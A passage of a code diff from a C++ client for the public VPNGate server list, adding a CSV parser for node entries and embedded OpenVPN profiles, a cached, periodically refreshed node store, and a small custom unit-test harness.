pos = (nl == std::string_view::npos) ? profile.size() + 1 : nl + 1;
|
||||
|
||||
line = trim(line);
|
||||
|
||||
if (in_block) {
|
||||
if (line.size() > 3 && line.rfind("</", 0) == 0 && line.back() == '>' &&
|
||||
lower(line.substr(2, line.size() - 3)) == block_tag) {
|
||||
in_block = false;
|
||||
block_tag.clear();
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (line.empty() || line.front() == '#' || line.front() == ';') continue;
|
||||
|
||||
if (line.front() == '<' && line.back() == '>' && line.rfind("</", 0) != 0) {
|
||||
block_tag = lower(line.substr(1, line.size() - 2));
|
||||
if (!block_tag.empty()) in_block = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Split on whitespace.
|
||||
std::vector<std::string_view> tok;
|
||||
size_t i = 0;
|
||||
while (i < line.size()) {
|
||||
while (i < line.size() && std::isspace(static_cast<unsigned char>(line[i])))
|
||||
++i;
|
||||
const size_t start = i;
|
||||
while (i < line.size() && !std::isspace(static_cast<unsigned char>(line[i])))
|
||||
++i;
|
||||
if (i > start) tok.push_back(line.substr(start, i - start));
|
||||
}
|
||||
if (tok.empty()) continue;
|
||||
|
||||
if (tok[0] == "proto" && tok.size() >= 2) {
|
||||
// "tcp-client"/"tcp4"/"tcp" all mean TCP for our purposes.
|
||||
default_proto = tok[1].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp;
|
||||
} else if (tok[0] == "port" && tok.size() >= 2) {
|
||||
default_port = to_number<uint16_t>(tok[1], default_port);
|
||||
} else if (tok[0] == "remote" && tok.size() >= 2) {
|
||||
PendingRemote r;
|
||||
r.host = std::string(tok[1]);
|
||||
if (tok.size() >= 3) {
|
||||
const auto p = to_number<uint16_t>(tok[2], 0);
|
||||
if (p != 0) {
|
||||
r.port = p;
|
||||
r.has_port = true;
|
||||
}
|
||||
}
|
||||
if (tok.size() >= 4) {
|
||||
r.proto = tok[3].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp;
|
||||
r.has_proto = true;
|
||||
}
|
||||
pending.push_back(std::move(r));
|
||||
}
|
||||
}
|
||||
|
||||
// "proto"/"port" apply to every remote regardless of line order, so the
|
||||
// defaults can only be resolved after the whole profile has been read.
|
||||
std::vector<Remote> out;
|
||||
out.reserve(pending.size());
|
||||
for (const auto &p : pending) {
|
||||
Remote r;
|
||||
r.host = p.host;
|
||||
r.port = p.has_port ? p.port : default_port;
|
||||
r.proto = p.has_proto ? p.proto : default_proto;
|
||||
if (r.host.empty() || r.port == 0) continue;
|
||||
out.push_back(std::move(r));
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
bool parse_node_list(std::string_view body, ParseResult *out, std::string *err) {
|
||||
out->nodes.clear();
|
||||
out->stats = ParseStats{};
|
||||
|
||||
if (body.empty()) {
|
||||
if (err) *err = "empty response body";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Guard against getting an HTML error/captcha page instead of the CSV. This
|
||||
// happens in practice when the API rate-limits or a portal intercepts.
|
||||
const auto head = body.substr(0, std::min<size_t>(body.size(), 512));
|
||||
if (head.find("<html") != std::string_view::npos ||
|
||||
head.find("<HTML") != std::string_view::npos) {
|
||||
if (err) *err = "response looks like HTML, not the VPNGate CSV";
|
||||
return false;
|
||||
}
|
||||
if (head.find("*vpn_servers") == std::string_view::npos) {
|
||||
if (err) *err = "missing '*vpn_servers' magic line";
|
||||
return false;
|
||||
}
|
||||
|
||||
bool header_seen = false;
|
||||
size_t pos = 0;
|
||||
while (pos < body.size()) {
|
||||
const size_t nl = body.find('\n', pos);
|
||||
std::string_view line = body.substr(
|
||||
pos, nl == std::string_view::npos ? std::string_view::npos : nl - pos);
|
||||
pos = (nl == std::string_view::npos) ? body.size() : nl + 1;
|
||||
|
||||
if (!line.empty() && line.back() == '\r') line.remove_suffix(1);
|
||||
if (line.empty()) continue;
|
||||
|
||||
if (line.front() == '*') continue; // magic line and the trailing terminator
|
||||
if (line.front() == '#') { // column header
|
||||
header_seen = true;
|
||||
continue;
|
||||
}
|
||||
if (!header_seen) continue;
|
||||
|
||||
out->stats.data_rows++;
|
||||
|
||||
auto fields = split_csv_line(line);
|
||||
if (fields.size() < kColumnCount) {
|
||||
out->stats.skipped_columns++;
|
||||
continue;
|
||||
}
|
||||
|
||||
Node n;
|
||||
n.host_name = std::string(trim(fields[kHostName]));
|
||||
n.ip = std::string(trim(fields[kIp]));
|
||||
if (n.host_name.empty() || n.ip.empty()) {
|
||||
out->stats.skipped_fields++;
|
||||
continue;
|
||||
}
|
||||
|
||||
n.country_long = std::string(trim(fields[kCountryLong]));
|
||||
n.country_short = std::string(trim(fields[kCountryShort]));
|
||||
n.log_type = std::string(trim(fields[kLogType]));
|
||||
n.operator_name = std::string(trim(fields[kOperator]));
|
||||
n.message = std::string(trim(fields[kMessage]));
|
||||
|
||||
n.api.score = to_number<int64_t>(fields[kScore], 0);
|
||||
n.api.ping_ms = to_number<int>(fields[kPing], -1);
|
||||
n.api.speed_bps = to_number<int64_t>(fields[kSpeed], 0);
|
||||
n.api.num_sessions = to_number<int>(fields[kNumVpnSessions], 0);
|
||||
n.api.uptime_ms = to_number<int64_t>(fields[kUptime], 0);
|
||||
n.api.total_users = to_number<int64_t>(fields[kTotalUsers], 0);
|
||||
n.api.total_traffic = to_number<int64_t>(fields[kTotalTraffic], 0);
|
||||
|
||||
if (!base64_decode(fields[kConfigBase64], &n.profile) || n.profile.empty()) {
|
||||
out->stats.skipped_base64++;
|
||||
continue;
|
||||
}
|
||||
|
||||
n.remotes = extract_remotes(n.profile);
|
||||
if (n.remotes.empty()) {
|
||||
out->stats.skipped_profile++;
|
||||
continue;
|
||||
}
|
||||
|
||||
out->stats.accepted++;
|
||||
out->nodes.push_back(std::move(n));
|
||||
}
|
||||
|
||||
if (out->nodes.empty()) {
|
||||
if (err) *err = "no usable nodes in response (" + out->stats.summary() + ")";
|
||||
return false;
|
||||
}
|
||||
|
||||
LOG_INFO(kMod, "parsed node list: {}", out->stats.summary());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Node::has_udp() const {
|
||||
return std::any_of(remotes.begin(), remotes.end(),
|
||||
[](const Remote &r) { return r.proto == Proto::Udp; });
|
||||
}
|
||||
|
||||
bool Node::has_tcp() const {
|
||||
return std::any_of(remotes.begin(), remotes.end(),
|
||||
[](const Remote &r) { return r.proto == Proto::Tcp; });
|
||||
}
|
||||
|
||||
const Remote *Node::pick_remote(bool prefer_udp) const {
|
||||
if (remotes.empty()) return nullptr;
|
||||
const Proto want = prefer_udp ? Proto::Udp : Proto::Tcp;
|
||||
for (const auto &r : remotes)
|
||||
if (r.proto == want) return &r;
|
||||
return &remotes.front();
|
||||
}
|
||||
|
||||
} // namespace ovg::vpngate
|
||||
@@ -0,0 +1,58 @@
|
||||
// Parser for the VPNGate node list.
|
||||
//
|
||||
// The response looks like:
|
||||
//
|
||||
// *vpn_servers
|
||||
// #HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,...
|
||||
// public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,...,<base64>
|
||||
// ...
|
||||
// *
|
||||
//
|
||||
// Two properties drive the implementation:
|
||||
//
|
||||
// 1. Lines are long. The last column is the base64 of an entire .ovpn profile
|
||||
// including inline CA/cert/key, so 10-14 KB per line is normal (measured:
|
||||
// 13529 bytes). Nothing here may use a fixed-size line buffer.
|
||||
//
|
||||
// 2. Free-text columns (Operator, Message) come from volunteers and are not
|
||||
// reliably escaped. A malformed row must be skipped and counted, never
|
||||
// allowed to abort the whole parse -- one bad volunteer must not cost us
|
||||
// the other 95 nodes.
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::vpngate {
|
||||
|
||||
struct ParseStats {
|
||||
size_t data_rows = 0; // rows that looked like data
|
||||
size_t accepted = 0; // rows that produced a usable Node
|
||||
size_t skipped_columns = 0; // too few columns
|
||||
size_t skipped_base64 = 0; // profile failed to decode
|
||||
size_t skipped_profile = 0; // decoded but had no usable "remote"
|
||||
size_t skipped_fields = 0; // required field (hostname/ip) empty
|
||||
|
||||
std::string summary() const;
|
||||
};
|
||||
|
||||
struct ParseResult {
|
||||
std::vector<Node> nodes;
|
||||
ParseStats stats;
|
||||
};
|
||||
|
||||
// Returns false only when the body is not a VPNGate response at all (e.g. an
|
||||
// HTML error page). Individual bad rows are skipped and reported in stats.
|
||||
bool parse_node_list(std::string_view body, ParseResult *out, std::string *err);
|
||||
|
||||
// Exposed for testing.
|
||||
std::vector<std::string> split_csv_line(std::string_view line);
|
||||
bool base64_decode(std::string_view in, std::string *out);
|
||||
// Pulls "remote <host> <port> [proto]" / "proto <p>" / "port <n>" out of a
|
||||
// decoded .ovpn profile.
|
||||
std::vector<Remote> extract_remotes(std::string_view profile);
|
||||
|
||||
} // namespace ovg::vpngate
|
||||
@@ -0,0 +1,62 @@
|
||||
// A VPNGate node, as advertised by the public API plus what we derive from the
|
||||
// embedded OpenVPN profile.
|
||||
//
|
||||
// Everything under `api` is measured by VPNGate's own infrastructure, not by
|
||||
// us, so it is only a prior. See docs/FEASIBILITY.md §3.3.
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace ovg::vpngate {
|
||||
|
||||
enum class Proto { Udp, Tcp };
|
||||
|
||||
inline const char *proto_name(Proto p) { return p == Proto::Udp ? "udp" : "tcp"; }
|
||||
|
||||
// One "remote" line from the profile.
|
||||
struct Remote {
|
||||
std::string host;
|
||||
uint16_t port = 0;
|
||||
Proto proto = Proto::Tcp;
|
||||
};
|
||||
|
||||
// Metrics straight out of the CSV. Absent fields stay at their sentinel.
|
||||
struct ApiMetrics {
|
||||
int64_t score = 0; // VPNGate's own composite quality score
|
||||
int ping_ms = -1; // -1 when the column was empty
|
||||
int64_t speed_bps = 0; // advertised line speed, shared across sessions
|
||||
int num_sessions = 0; // concurrent users right now
|
||||
int64_t uptime_ms = 0;
|
||||
int64_t total_users = 0;
|
||||
int64_t total_traffic = 0;
|
||||
};
|
||||
|
||||
struct Node {
|
||||
std::string host_name; // e.g. "public-vpn-113"
|
||||
std::string ip; // advertised IPv4
|
||||
std::string country_long; // "Japan"
|
||||
std::string country_short; // "JP"
|
||||
std::string log_type;
|
||||
std::string operator_name;
|
||||
std::string message;
|
||||
|
||||
ApiMetrics api;
|
||||
|
||||
// Decoded .ovpn profile, verbatim. Kept because openvpn3 wants the whole
|
||||
// thing (inline <ca>/<cert>/<key>), not just the parsed fields.
|
||||
std::string profile;
|
||||
std::vector<Remote> remotes;
|
||||
|
||||
// Stable identity for history/blacklist bookkeeping. HostName alone is not
|
||||
// unique enough across refreshes; IP alone churns for dynamic-IP volunteers.
|
||||
std::string id() const { return host_name + "@" + ip; }
|
||||
|
||||
bool has_udp() const;
|
||||
bool has_tcp() const;
|
||||
// Preferred remote given a protocol preference; falls back to whatever exists.
|
||||
const Remote *pick_remote(bool prefer_udp) const;
|
||||
};
|
||||
|
||||
} // namespace ovg::vpngate
|
||||
@@ -0,0 +1,234 @@
|
||||
#include "vpngate/node_store.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/http_get.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
namespace ovg::vpngate {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "vpngate";
|
||||
|
||||
auto *m_refresh_ok = metrics::counter("ovg_vpngate_refresh_success_total",
|
||||
"Successful node list refreshes");
|
||||
auto *m_refresh_fail = metrics::counter("ovg_vpngate_refresh_failure_total",
|
||||
"Failed node list refreshes");
|
||||
auto *m_nodes = metrics::gauge("ovg_vpngate_nodes",
|
||||
"Nodes in the current snapshot");
|
||||
|
||||
} // namespace
|
||||
|
||||
NodeStore::NodeStore(asio::io_context &io, VpnGateConfig cfg)
|
||||
: io_(io), cfg_(std::move(cfg)), timer_(io) {
|
||||
nodes_ = std::make_shared<const NodeList>();
|
||||
}
|
||||
|
||||
NodeStore::~NodeStore() { stop(); }
|
||||
|
||||
void NodeStore::start() {
|
||||
// A stale cache is far better than no nodes: it lets us bring a tunnel up
|
||||
// while the network fetch is still in flight (or if VPNGate is unreachable).
|
||||
std::string body;
|
||||
if (load_cache(&body)) {
|
||||
ParseResult pr;
|
||||
std::string err;
|
||||
if (parse_node_list(body, &pr, &err)) {
|
||||
auto list = std::make_shared<const NodeList>(std::move(pr.nodes));
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
nodes_ = list;
|
||||
}
|
||||
m_nodes->set(static_cast<int64_t>(list->size()));
|
||||
LOG_INFO(kMod, "loaded {} nodes from cache {}", list->size(),
|
||||
cfg_.cache_path);
|
||||
} else {
|
||||
LOG_WARN(kMod, "cache at {} is unusable: {}", cfg_.cache_path, err);
|
||||
}
|
||||
}
|
||||
|
||||
refresh_now(nullptr);
|
||||
schedule_next();
|
||||
}
|
||||
|
||||
void NodeStore::stop() {
|
||||
stopped_.store(true);
|
||||
std::error_code ignored;
|
||||
timer_.cancel(ignored);
|
||||
}
|
||||
|
||||
void NodeStore::schedule_next() {
|
||||
if (stopped_.load()) return;
|
||||
timer_.expires_after(cfg_.refresh_interval);
|
||||
timer_.async_wait([this](std::error_code ec) {
|
||||
if (ec || stopped_.load()) return;
|
||||
refresh_now(nullptr);
|
||||
schedule_next();
|
||||
});
|
||||
}
|
||||
|
||||
void NodeStore::refresh_now(RefreshHandler handler) {
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
if (fetch_in_flight_) {
|
||||
// Coalesce: a second caller waits on the fetch already running instead of
|
||||
// hammering the API.
|
||||
if (handler) waiters_.push_back(std::move(handler));
|
||||
return;
|
||||
}
|
||||
fetch_in_flight_ = true;
|
||||
if (handler) waiters_.push_back(std::move(handler));
|
||||
}
|
||||
try_urls(0, nullptr);
|
||||
}
|
||||
|
||||
void NodeStore::try_urls(size_t index, RefreshHandler handler) {
|
||||
if (stopped_.load()) {
|
||||
complete(make_error_code(Error::Cancelled), 0);
|
||||
return;
|
||||
}
|
||||
if (index >= cfg_.api_urls.size()) {
|
||||
LOG_WARN(kMod, "all {} API endpoints failed", cfg_.api_urls.size());
|
||||
m_refresh_fail->inc();
|
||||
complete(make_error_code(Error::UpstreamFailure), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
http::Options opts;
|
||||
opts.timeout = cfg_.http_timeout;
|
||||
opts.max_bytes = cfg_.max_response_bytes;
|
||||
|
||||
const std::string &url = cfg_.api_urls[index];
|
||||
http::async_get(io_, url, opts,
|
||||
[this, index, url](std::error_code ec, http::Response resp) {
|
||||
if (ec) {
|
||||
LOG_WARN(kMod, "fetch {} failed: {}", url, ec.message());
|
||||
try_urls(index + 1, nullptr);
|
||||
return;
|
||||
}
|
||||
if (resp.status != 200) {
|
||||
LOG_WARN(kMod, "fetch {} returned HTTP {}", url,
|
||||
resp.status);
|
||||
try_urls(index + 1, nullptr);
|
||||
return;
|
||||
}
|
||||
LOG_DEBUG(kMod, "fetched {} bytes from {}",
|
||||
resp.body.size(), url);
|
||||
on_body(std::move(resp.body), /*from_cache=*/false, nullptr);
|
||||
});
|
||||
}
|
||||
|
||||
void NodeStore::on_body(std::string body, bool from_cache,
|
||||
RefreshHandler /*handler*/) {
|
||||
ParseResult pr;
|
||||
std::string err;
|
||||
if (!parse_node_list(body, &pr, &err)) {
|
||||
LOG_WARN(kMod, "parse failed: {}", err);
|
||||
m_refresh_fail->inc();
|
||||
complete(make_error_code(Error::ProtocolError), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
const size_t count = pr.nodes.size();
|
||||
auto list = std::make_shared<const NodeList>(std::move(pr.nodes));
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
nodes_ = list;
|
||||
last_success_ = std::chrono::system_clock::now();
|
||||
}
|
||||
m_nodes->set(static_cast<int64_t>(count));
|
||||
m_refresh_ok->inc();
|
||||
|
||||
if (!from_cache) save_cache(body);
|
||||
|
||||
LOG_INFO(kMod, "node list refreshed: {} usable nodes", count);
|
||||
complete({}, count);
|
||||
}
|
||||
|
||||
void NodeStore::complete(std::error_code ec, size_t count) {
|
||||
std::vector<RefreshHandler> waiters;
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
fetch_in_flight_ = false;
|
||||
waiters.swap(waiters_);
|
||||
}
|
||||
for (auto &w : waiters) {
|
||||
if (w) asio::post(io_, [w = std::move(w), ec, count] { w(ec, count); });
|
||||
}
|
||||
}
|
||||
|
||||
bool NodeStore::load_cache(std::string *body) {
|
||||
if (cfg_.cache_path.empty()) return false;
|
||||
|
||||
std::error_code ec;
|
||||
const auto path = std::filesystem::path(cfg_.cache_path);
|
||||
if (!std::filesystem::exists(path, ec)) return false;
|
||||
|
||||
struct stat st{};
|
||||
if (::stat(cfg_.cache_path.c_str(), &st) != 0) return false;
|
||||
|
||||
const auto age = std::chrono::system_clock::now() -
|
||||
std::chrono::system_clock::from_time_t(st.st_mtime);
|
||||
if (age > cfg_.cache_max_age) {
|
||||
LOG_INFO(kMod, "cache {} is too old ({}h), ignoring", cfg_.cache_path,
|
||||
std::chrono::duration_cast<std::chrono::hours>(age).count());
|
||||
return false;
|
||||
}
|
||||
|
||||
std::ifstream in(cfg_.cache_path, std::ios::binary);
|
||||
if (!in) return false;
|
||||
std::ostringstream ss;
|
||||
ss << in.rdbuf();
|
||||
*body = ss.str();
|
||||
return !body->empty();
|
||||
}
|
||||
|
||||
void NodeStore::save_cache(const std::string &body) {
|
||||
if (cfg_.cache_path.empty()) return;
|
||||
|
||||
std::error_code ec;
|
||||
const auto path = std::filesystem::path(cfg_.cache_path);
|
||||
if (path.has_parent_path())
|
||||
std::filesystem::create_directories(path.parent_path(), ec);
|
||||
|
||||
// Write-then-rename so a crash mid-write cannot leave a truncated cache that
|
||||
// we would happily parse on the next start.
|
||||
const std::string tmp = cfg_.cache_path + ".tmp";
|
||||
{
|
||||
std::ofstream out(tmp, std::ios::binary | std::ios::trunc);
|
||||
if (!out) {
|
||||
LOG_WARN(kMod, "cannot write cache {}", tmp);
|
||||
return;
|
||||
}
|
||||
out.write(body.data(), static_cast<std::streamsize>(body.size()));
|
||||
if (!out) {
|
||||
LOG_WARN(kMod, "short write to cache {}", tmp);
|
||||
return;
|
||||
}
|
||||
}
|
||||
std::filesystem::rename(tmp, path, ec);
|
||||
if (ec) LOG_WARN(kMod, "cannot rename cache into place: {}", ec.message());
|
||||
}
|
||||
|
||||
NodeListPtr NodeStore::snapshot() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return nodes_;
|
||||
}
|
||||
|
||||
bool NodeStore::has_nodes() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return nodes_ && !nodes_->empty();
|
||||
}
|
||||
|
||||
std::chrono::system_clock::time_point NodeStore::last_success() const {
|
||||
std::lock_guard lk(mu_);
|
||||
return last_success_;
|
||||
}
|
||||
|
||||
} // namespace ovg::vpngate
|
||||
@@ -0,0 +1,76 @@
|
||||
// Owns the node list: periodic refresh from the API, disk cache, and
|
||||
// thread-safe snapshot access.
|
||||
//
|
||||
// Snapshots are handed out as shared_ptr<const vector<Node>> rather than by
|
||||
// value: each Node carries a ~10 KB profile, so copying the whole list on every
|
||||
// read would be wasteful. Readers hold a snapshot for as long as they need it
|
||||
// while a refresh swaps in a new one underneath.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "vpngate/csv_parser.h"
|
||||
|
||||
namespace ovg::vpngate {
|
||||
|
||||
using NodeList = std::vector<Node>;
|
||||
using NodeListPtr = std::shared_ptr<const NodeList>;
|
||||
|
||||
class NodeStore {
|
||||
public:
|
||||
NodeStore(asio::io_context &io, VpnGateConfig cfg);
|
||||
~NodeStore();
|
||||
|
||||
NodeStore(const NodeStore &) = delete;
|
||||
NodeStore &operator=(const NodeStore &) = delete;
|
||||
|
||||
// Handler receives the node count on success.
|
||||
using RefreshHandler = std::function<void(std::error_code, size_t)>;
|
||||
|
||||
// Loads the disk cache (if fresh enough) so callers have something to work
|
||||
// with before the first network fetch completes, then starts the periodic
|
||||
// refresh timer.
|
||||
void start();
|
||||
void stop();
|
||||
|
||||
// Forces a refresh now. Concurrent calls are coalesced onto the in-flight
|
||||
// fetch rather than issuing duplicate requests.
|
||||
void refresh_now(RefreshHandler handler);
|
||||
|
||||
// Never null; may be empty before the first successful load.
|
||||
NodeListPtr snapshot() const;
|
||||
|
||||
bool has_nodes() const;
|
||||
std::chrono::system_clock::time_point last_success() const;
|
||||
|
||||
private:
|
||||
void schedule_next();
|
||||
void try_urls(size_t index, RefreshHandler handler);
|
||||
void on_body(std::string body, bool from_cache, RefreshHandler handler);
|
||||
bool load_cache(std::string *body);
|
||||
void save_cache(const std::string &body);
|
||||
void complete(std::error_code ec, size_t count);
|
||||
|
||||
asio::io_context &io_;
|
||||
VpnGateConfig cfg_;
|
||||
asio::steady_timer timer_;
|
||||
|
||||
mutable std::mutex mu_;
|
||||
NodeListPtr nodes_;
|
||||
std::chrono::system_clock::time_point last_success_{};
|
||||
std::vector<RefreshHandler> waiters_;
|
||||
bool fetch_in_flight_ = false;
|
||||
|
||||
std::atomic<bool> stopped_{false};
|
||||
};
|
||||
|
||||
} // namespace ovg::vpngate
|
||||
@@ -0,0 +1,29 @@
|
||||
set(OVG_TEST_SOURCES
|
||||
harness.cpp
|
||||
test_common.cpp
|
||||
test_csv_parser.cpp
|
||||
test_selector.cpp
|
||||
test_http_get.cpp
|
||||
test_ovpn.cpp
|
||||
test_egress.cpp
|
||||
test_socks5.cpp
|
||||
test_health.cpp)
|
||||
|
||||
# The netstack only exists in a tunnel build (see src/CMakeLists.txt), so its
|
||||
# tests come and go with it rather than being #ifdef'd to an empty file.
|
||||
if(OVG_WITH_TUNNEL)
|
||||
list(APPEND OVG_TEST_SOURCES test_netstack.cpp)
|
||||
endif()
|
||||
|
||||
add_executable(ovg_tests ${OVG_TEST_SOURCES})
|
||||
|
||||
target_include_directories(ovg_tests PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
|
||||
target_compile_definitions(ovg_tests PRIVATE
|
||||
OVG_TEST_DATA_DIR="${CMAKE_CURRENT_SOURCE_DIR}/data")
|
||||
target_link_libraries(ovg_tests PRIVATE
|
||||
ovg_selector ovg_ovpn ovg_egress ovg_socks5 ovg_health)
|
||||
if(OVG_WITH_TUNNEL)
|
||||
target_link_libraries(ovg_tests PRIVATE ovg_netstack)
|
||||
endif()
|
||||
|
||||
add_test(NAME unit COMMAND ovg_tests)
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,90 @@
|
||||
#include "harness.h"
|
||||
|
||||
#include <chrono>
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <exception>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
#ifndef OVG_TEST_DATA_DIR
|
||||
#define OVG_TEST_DATA_DIR "tests/data"
|
||||
#endif
|
||||
|
||||
namespace ovgtest {
|
||||
|
||||
std::vector<Case> ®istry() {
|
||||
static std::vector<Case> cases;
|
||||
return cases;
|
||||
}
|
||||
|
||||
Registrar::Registrar(std::string name, std::function<void()> fn) {
|
||||
registry().push_back(Case{std::move(name), std::move(fn)});
|
||||
}
|
||||
|
||||
void fail(const char *file, int line, const std::string &what) {
|
||||
const char *slash = std::strrchr(file, '/');
|
||||
std::string loc = slash ? slash + 1 : file;
|
||||
throw Failure{loc + ":" + std::to_string(line) + ": " + what};
|
||||
}
|
||||
|
||||
void skip(const std::string &reason) { throw Skipped{reason}; }
|
||||
|
||||
std::string data_path(const std::string &leaf) {
|
||||
return std::string(OVG_TEST_DATA_DIR) + "/" + leaf;
|
||||
}
|
||||
|
||||
int run_all(int argc, char **argv) {
|
||||
const char *filter = argc > 1 ? argv[1] : nullptr;
|
||||
|
||||
int passed = 0, failed = 0, filtered = 0, skipped = 0;
|
||||
for (const auto &c : registry()) {
|
||||
if (filter && c.name.find(filter) == std::string::npos) {
|
||||
++filtered;
|
||||
continue;
|
||||
}
|
||||
const auto t0 = std::chrono::steady_clock::now();
|
||||
try {
|
||||
c.fn();
|
||||
const auto ms = std::chrono::duration<double, std::milli>(
|
||||
std::chrono::steady_clock::now() - t0)
|
||||
.count();
|
||||
std::printf(" \033[32mPASS\033[0m %-44s %6.1fms\n", c.name.c_str(), ms);
|
||||
++passed;
|
||||
} catch (const Skipped &s) {
|
||||
std::printf(" \033[33mSKIP\033[0m %-44s %s\n", c.name.c_str(),
|
||||
s.reason.c_str());
|
||||
++skipped;
|
||||
} catch (const Failure &f) {
|
||||
std::printf(" \033[31mFAIL\033[0m %s\n %s\n", c.name.c_str(),
|
||||
f.message.c_str());
|
||||
++failed;
|
||||
} catch (const std::exception &e) {
|
||||
std::printf(" \033[31mFAIL\033[0m %s\n threw: %s\n",
|
||||
c.name.c_str(), e.what());
|
||||
++failed;
|
||||
} catch (...) {
|
||||
std::printf(" \033[31mFAIL\033[0m %s\n threw unknown exception\n",
|
||||
c.name.c_str());
|
||||
++failed;
|
||||
}
|
||||
}
|
||||
|
||||
std::printf("\n %d passed, %d failed", passed, failed);
|
||||
if (skipped) std::printf(", %d skipped", skipped);
|
||||
if (filtered) std::printf(", %d filtered out", filtered);
|
||||
std::printf("\n\n");
|
||||
return failed == 0 ? 0 : 1;
|
||||
}
|
||||
|
||||
} // namespace ovgtest
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
// Tests exercise error paths on purpose, so the log would be mostly noise.
|
||||
// OVG_TEST_LOG=debug (or any level name) turns it back on when debugging.
|
||||
const char *lvl = std::getenv("OVG_TEST_LOG");
|
||||
ovg::log::set_level(lvl ? ovg::log::level_from_string(lvl)
|
||||
: ovg::log::Level::Off);
|
||||
return ovgtest::run_all(argc, argv);
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
// A ~100-line test harness.
|
||||
//
|
||||
// Pulling in GTest would mean either a system package we cannot assume or a
|
||||
// FetchContent download on every clean build. The tests here need registration,
|
||||
// assertions and a non-zero exit code; that is all this provides.
|
||||
#pragma once
|
||||
|
||||
#include <concepts>
|
||||
#include <functional>
|
||||
#include <ostream>
|
||||
#include <sstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace ovgtest {
|
||||
|
||||
struct Case {
|
||||
std::string name;
|
||||
std::function<void()> fn;
|
||||
};
|
||||
|
||||
std::vector<Case> ®istry();
|
||||
|
||||
struct Registrar {
|
||||
Registrar(std::string name, std::function<void()> fn);
|
||||
};
|
||||
|
||||
// Thrown by the CHECK macros; caught per-case by the runner.
|
||||
struct Failure {
|
||||
std::string message;
|
||||
};
|
||||
|
||||
// Thrown by SKIP: the environment cannot support the test (e.g. a sandbox that
|
||||
// transparently accepts every outbound connection, so nothing can be
|
||||
// blackholed). Reported distinctly from a pass so it cannot hide a regression.
|
||||
struct Skipped {
|
||||
std::string reason;
|
||||
};
|
||||
|
||||
[[noreturn]] void fail(const char *file, int line, const std::string &what);
|
||||
[[noreturn]] void skip(const std::string &reason);
|
||||
|
||||
// Absolute path to tests/data, injected by CMake.
|
||||
std::string data_path(const std::string &leaf);
|
||||
|
||||
int run_all(int argc, char **argv);
|
||||
|
||||
// Best-effort stringification: streamable types get printed, everything else
|
||||
// (IpAddress, enums without an operator<<, ...) degrades to a placeholder
|
||||
// rather than failing to compile.
|
||||
template <typename T>
|
||||
concept Streamable = requires(std::ostream &os, const T &v) { os << v; };
|
||||
|
||||
template <typename T>
|
||||
std::string to_str(const T &v) {
|
||||
if constexpr (Streamable<T>) {
|
||||
std::ostringstream os;
|
||||
os << v;
|
||||
return os.str();
|
||||
} else {
|
||||
return "<value>";
|
||||
}
|
||||
}
|
||||
inline std::string to_str(bool v) { return v ? "true" : "false"; }
|
||||
inline std::string to_str(const std::string &v) { return "\"" + v + "\""; }
|
||||
|
||||
} // namespace ovgtest
|
||||
|
||||
#define OVG_TEST(name) \
|
||||
static void name(); \
|
||||
static ::ovgtest::Registrar ovg_reg_##name(#name, name); \
|
||||
static void name()
|
||||
|
||||
#define SKIP(reason) ::ovgtest::skip(reason)
|
||||
|
||||
#define CHECK(cond) \
|
||||
do { \
|
||||
if (!(cond)) ::ovgtest::fail(__FILE__, __LINE__, "CHECK(" #cond ")"); \
|
||||
} while (0)
|
||||
|
||||
#define CHECK_EQ(a, b) \
|
||||
do { \
|
||||
const auto &ovg_a = (a); \
|
||||
const auto &ovg_b = (b); \
|
||||
if (!(ovg_a == ovg_b)) \
|
||||
::ovgtest::fail(__FILE__, __LINE__, \
|
||||
"CHECK_EQ(" #a ", " #b ")\n left = " + \
|
||||
::ovgtest::to_str(ovg_a) + \
|
||||
"\n right = " + ::ovgtest::to_str(ovg_b)); \
|
||||
} while (0)
|
||||
|
||||
#define CHECK_NE(a, b) \
|
||||
do { \
|
||||
if ((a) == (b)) \
|
||||
::ovgtest::fail(__FILE__, __LINE__, "CHECK_NE(" #a ", " #b ")"); \
|
||||
} while (0)
|
||||
|
||||
#define CHECK_LT(a, b) \
|
||||
do { \
|
||||
const auto &ovg_a = (a); \
|
||||
const auto &ovg_b = (b); \
|
||||
if (!(ovg_a < ovg_b)) \
|
||||
